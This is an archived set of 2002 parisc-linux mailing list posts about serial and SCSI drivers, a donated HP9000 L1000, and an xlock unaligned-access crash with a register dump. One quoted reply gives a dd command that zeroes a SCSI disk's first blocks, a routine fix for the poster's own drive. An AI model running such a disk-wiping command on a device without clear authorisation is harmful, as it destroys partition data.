	by dsl2.external.hp.com (Postfix) with ESMTP id 5D8594829
	for <parisc-linux@parisc-linux.org>; Fri, 13 Sep 2002 09:02:48 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17pry2-0007TP-00
	for parisc-linux@parisc-linux.org; Fri, 13 Sep 2002 16:02:46 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16101

Thanks to Derek Engelhaupt getting me some information, I now feel fairly
certain that Ryan Bradetich's Mux driver will support the D and R class
remote serial card.  So everyone who unplugged their remote serial card
to get their D/R class working should be able to plug it back in and
boot a recent kernel using `console=ttyB0' to get output on their remote
serial port.  Feedback from anyone who can test this feature appreciated.

I'm now scheming to see if we can reclaim Lasi's serial port, even
though firmware's disabled it.  Because you can never have too many
serial ports, right?  :-)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robin Kearney <robin@uk.another.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP9000
Date: Fri, 13 Sep 2002 16:09:20 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <C754C281-C72A-11D6-B5A2-000393447076@uk.another.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v543)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621710 13878 80.91.229.3 (22 Nov 2014 02:01:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:50 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 09:09:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dent.riviera.org.uk (unknown [212.62.7.50])
	by dsl2.external.hp.com (Postfix) with SMTP id E9CF74829
	for <parisc-linux@parisc-linux.org>; Fri, 13 Sep 2002 09:09:34 -0600 (MDT)
Original-Received: (qmail 23250 invoked from network); 13 Sep 2002 14:50:45 -0000
Original-Received: from host057.aquaonline.co.uk (HELO trillian) (robin@193.122.25.57)
  by dent.riviera.org.uk with SMTP; 13 Sep 2002 14:50:45 -0000
X-Mailer: Apple Mail (2.543)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16102

Hi, we have a spare HP9000 machine which is going to be thrown out.

Would anybody in the linux pa-risc community like it to help their 
porting efforts?

Not sure of the spec, but can find out if needed.

We are in north london, would be nice if you could collect if you want 
it.

Price? all we ask is a credit on a site if it proves useful.

robin.


--
another.com
sysadmin
+44 (0)20 7424 3061



From - Thu Nov 08 21:24:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000
Date: Fri, 13 Sep 2002 16:16:23 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20020913161623.U10583@parcelfarce.linux.theplanet.co.uk>
References: <C754C281-C72A-11D6-B5A2-000393447076@uk.another.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621710 13880 80.91.229.3 (22 Nov 2014 02:01:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:50 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Robin Kearney <robin@uk.another.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 09:16:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BCC34829
	for <parisc-linux@parisc-linux.org>; Fri, 13 Sep 2002 09:16:25 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17psBD-0007kh-00; Fri, 13 Sep 2002 16:16:23 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <C754C281-C72A-11D6-B5A2-000393447076@uk.another.com>; from robin@uk.another.com on Fri, Sep 13, 2002 at 04:09:20PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16103

On Fri, Sep 13, 2002 at 04:09:20PM +0100, Robin Kearney wrote:
> Hi, we have a spare HP9000 machine which is going to be thrown out.

It'd help if you could specify the model -- some machines are more, er,
tricky than others ;-)  We're looking for something like "D220" or "F80"
as a description.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robin Kearney <robin@uk.another.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000
Date: Fri, 13 Sep 2002 16:25:31 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <0A29117C-C72D-11D6-B5A2-000393447076@uk.another.com>
References: <20020913161623.U10583@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v543)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621710 13882 80.91.229.3 (22 Nov 2014 02:01:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:50 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 09:25:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dent.riviera.org.uk (dent.riviera.org.uk [212.62.7.50])
	by dsl2.external.hp.com (Postfix) with SMTP id 93A044829
	for <parisc-linux@parisc-linux.org>; Fri, 13 Sep 2002 09:25:29 -0600 (MDT)
Original-Received: (qmail 24615 invoked from network); 13 Sep 2002 15:06:56 -0000
Original-Received: from host057.aquaonline.co.uk (HELO trillian) (robin@193.122.25.57)
  by dent.riviera.org.uk with SMTP; 13 Sep 2002 15:06:56 -0000
In-Reply-To: <20020913161623.U10583@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Apple Mail (2.543)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16104

On Friday, September 13, 2002, at 04:16  pm, Matthew Wilcox wrote:

> On Fri, Sep 13, 2002 at 04:09:20PM +0100, Robin Kearney wrote:
>> Hi, we have a spare HP9000 machine which is going to be thrown out.
>
> It'd help if you could specify the model -- some machines are more, er,
> tricky than others ;-)  We're looking for something like "D220" or 
> "F80"
> as a description.

Ok, some details from looking at the actual HW:

Only model number I can find is 'L1000 440Mhz'
4 disk slots (all sca)
1 5 1/4" slot
(used to contain a scsi dvd drive, but I guess another sysadmin thought 
it would serve him better)
has space for 3 psu's (1 currently in residence)
12 PCI slots.
Can have upto 4cpu's but currently has 1

There are no disks but I'm sure I can find a 9Gig so its at least 
useful.

HTH

r.


--
another.com
sysadmin
+44 (0)20 7424 3061



From - Thu Nov 08 21:24:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Making SYM2 default SYM-SCSI driver instead of SYM1
Date: Fri, 13 Sep 2002 18:31:35 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <3D8212E7.6000609@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621710 13885 80.91.229.3 (22 Nov 2014 02:01:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 10:33:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF4F14829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Sep 2002 10:33:41 -0600 (MDT)
Original-Received: from esiee.fr (grobluk.esiee.fr [147.215.7.22])
	by mail.esiee.fr (Postfix) with ESMTP id 9297D49BF1
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Sep 2002 18:33:39 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:0.9.4) Gecko/20020119 Netscape6/6.2.1
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16105

Hi fellows !

Paul Bame has noticed a problem that seems to occur on B2600 with SYM1 
driver, causing the box to slow down everything and increasing the 
loadavg, while top reports 99% idle.

When this happens, one can hear HD making strange noise: two grouped 
"ticks" every 2 seconds or so.

I have experienced this behavior by myself, and it seems that using SYM2 
driver solves this problem.

Now I'm asking you to know if anybody has an objection against making 
SYM2 the default driver in debian-configs instead of old SYM1.

Thanks,


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/



From - Thu Nov 08 21:24:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] misaligned handler failing...
Date: Fri, 13 Sep 2002 11:03:51 -0600 (MDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <20020913170351.1D5414829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621711 13888 80.91.229.3 (22 Nov 2014 02:01:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 11:03:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 1D5414829; Fri, 13 Sep 2002 11:03:51 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16106

grundler@debian:~$ /usr/X11R6/bin/xlock -mode morph3d
Access control list restored.
xlock: caught signal 10 while running morph3d mode (uid 1000).

I haven't explicitly tested all modes, but this is the only
failure I've seen.

grundler@debian:~$ fgrep 10 /usr/include/asm/signal.h
#define SIGBUS          10
#define SA_SIGINFO      0x00000010
#define _SA_SIGGFAULT   0x00000100 /* HPUX */
grundler@debian:~$

SIGBUS implies a misaligned address access....and dmesg output confirms
that theory:

xlock(16254): unaligned access to 0x4071402c at ip=0x400ea63f
Not-handled unaligned insn 0x2fe81205
Unaligned handler failed, ret = -1
xlock (pid 16254): Unaligned data reference (code 28)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  00000000 00267c90 400d2943 4013c558
r04-07  00267a60 001dcec8 001d9ec8 002486c8
r08-11  001d9ec8 001d9ec8 002486c8 001d9ec8
r12-15  001d9ec8 00000001 002596c8 001d9ec8
r16-19  002486c8 00000000 002486c8 4013c558
r20-23  00000034 000000af 400ea5e8 4071403c
r24-27  40714024 40714028 00267c90 001d9ec8
r28-31  0026b160 40753f48 faf00b80 40714028
sr0-3   00000000 00000050 00000000 00000050
sr4-7   00000050 00000050 00000050 00000050

IASQ: 00000050 00000050 IAOQ: 400ea63f 400ea643
IIR: 2fe81205    ISR: 00000050  IOR: 4071402c


grant


From - Thu Nov 08 21:24:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] misaligned handler failing...
Date: Fri, 13 Sep 2002 10:21:25 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20020913172125.GX17893@tausq.org>
References: <20020913170351.1D5414829@dsl2.external.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621711 13889 80.91.229.3 (22 Nov 2014 02:01:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 11:17:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6BB80482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Sep 2002 11:17:36 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 9E2B4CD824; Fri, 13 Sep 2002 10:21:25 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020913170351.1D5414829@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16107

> xlock(16254): unaligned access to 0x4071402c at ip=0x400ea63f
> Not-handled unaligned insn 0x2fe81205
> Unaligned handler failed, ret = -1
> xlock (pid 16254): Unaligned data reference (code 28)

that insn is fstd fr5,4(sr0,r31) ... and indeed the unaligned handler
doesn't do anything with the floating point instructions.

we probably should try to hunt down the broken code in xlock (or the lib
that contains the insn) and fix it...

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000
Date: Fri, 13 Sep 2002 11:26:22 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20020913172622.4E6294829@dsl2.external.hp.com>
References: <0A29117C-C72D-11D6-B5A2-000393447076@uk.another.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621711 13890 80.91.229.3 (22 Nov 2014 02:01:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:51 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Robin Kearney <robin@uk.another.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 11:26:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4E6294829; Fri, 13 Sep 2002 11:26:22 -0600 (MDT)
In-Reply-To: Message from Robin Kearney <robin@uk.another.com> 
   of "Fri, 13 Sep 2002 16:25:31 BST." <0A29117C-C72D-11D6-B5A2-000393447076@uk.another.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16108

Robin Kearney wrote:
> Only model number I can find is 'L1000 440Mhz'
> 4 disk slots (all sca)
> 1 5 1/4" slot
> (used to contain a scsi dvd drive, but I guess another sysadmin thought 
> it would serve him better)
> has space for 3 psu's (1 currently in residence)
> 12 PCI slots.
> Can have upto 4cpu's but currently has 1

This is the "big brother" to an A500. Same chipset but more IO slots.
parisc-linux should run on this box just fine.

> There are no disks but I'm sure I can find a 9Gig so its at least 
> useful.

Don't forget the disk carriers - those are *much* harder to find
than the disks.

grant


From - Thu Nov 08 21:24:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Making SYM2 default SYM-SCSI driver instead of SYM1
Date: Fri, 13 Sep 2002 13:09:29 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20020913190929.8F8084829@dsl2.external.hp.com>
References: <3D8212E7.6000609@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621712 13892 80.91.229.3 (22 Nov 2014 02:01:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 13:09:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 8F8084829; Fri, 13 Sep 2002 13:09:29 -0600 (MDT)
In-Reply-To: Message from Thibaut VARENE <varenet@esiee.fr> 
   of "Fri, 13 Sep 2002 18:31:35 +0200." <3D8212E7.6000609@esiee.fr> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16109

Thibaut VARENE wrote:
> Now I'm asking you to know if anybody has an objection against making 
> SYM2 the default driver in debian-configs instead of old SYM1.

I don't. All the boxes I care about have 53c8xx chips in them.

A slightly safer approach is to make sym2 the default for PA2.0 systems
and the old sym the default for PA1.1 systems. But GSC/HSC c720 cards
don't fit that model since they go into systems with either sub-arch.
I don't see a way around users "tuning" based on actual HW configuration.

grant


From - Thu Nov 08 21:24:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OT HP-UX Formatting Scsi disks
Date: Fri, 13 Sep 2002 21:16:09 +0200
Organization: private
Lines: 43
Approved: news@gmane.org
Message-ID: <3D823979.9CA0117E@gmx.at>
References: <20020913062639.20473.qmail@web12503.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621712 13894 80.91.229.3 (22 Nov 2014 02:01:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:52 +0000 (UTC)
Cc: Jurriaan Kalkman <Jurriaan.Kalkman@zrt.nl>,
	smithjames@comcast.net, parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 13:15:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep11-int.chello.at (viefep11-int.chello.at [213.46.255.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id B96CF4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Sep 2002 13:15:51 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep11-int.chello.at
          (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP
          id <20020913191548.CLYD25713.viefep11-int.chello.at@gmx.at>;
          Fri, 13 Sep 2002 21:15:48 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16110

Hello,

I hope the status will change soon. I also have an E55
and I use it under HP-UX. But I want to switch as fast
as possible to linux.

I can use the E55 now as diskless server (!), SCSI is
not working yet. But as I mentioned, I hope this will
change very soon !!

Christoph


Derek Engelhaupt wrote:
> 
> > try zeroing out the first few blocks:
> >
> > dd if=/dev/zero of=/dev/offending_scsi_drive bs=512 count=4
> 
> I've decided to load HP-UX on the E55 I've been playing with since
> Debian doesn't work very well on it right now.  I'm sending this OT
> because I need to know where dd lives on an HP-UX 11.11 box.  I'm in a
> limited shell and need an absolute path to dd to get it to accomplish
> the above.  It's so limited it won't even give me the ls command.  Any
> of you HP-UX guys out there?  Since I'm at home I don't have access to
> an HP-UX box at work.  Thanks.
> 
> derek
> 
> __________________________________________________
> Do you Yahoo!?
> Yahoo! News - Today's headlines
> http://news.yahoo.com
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
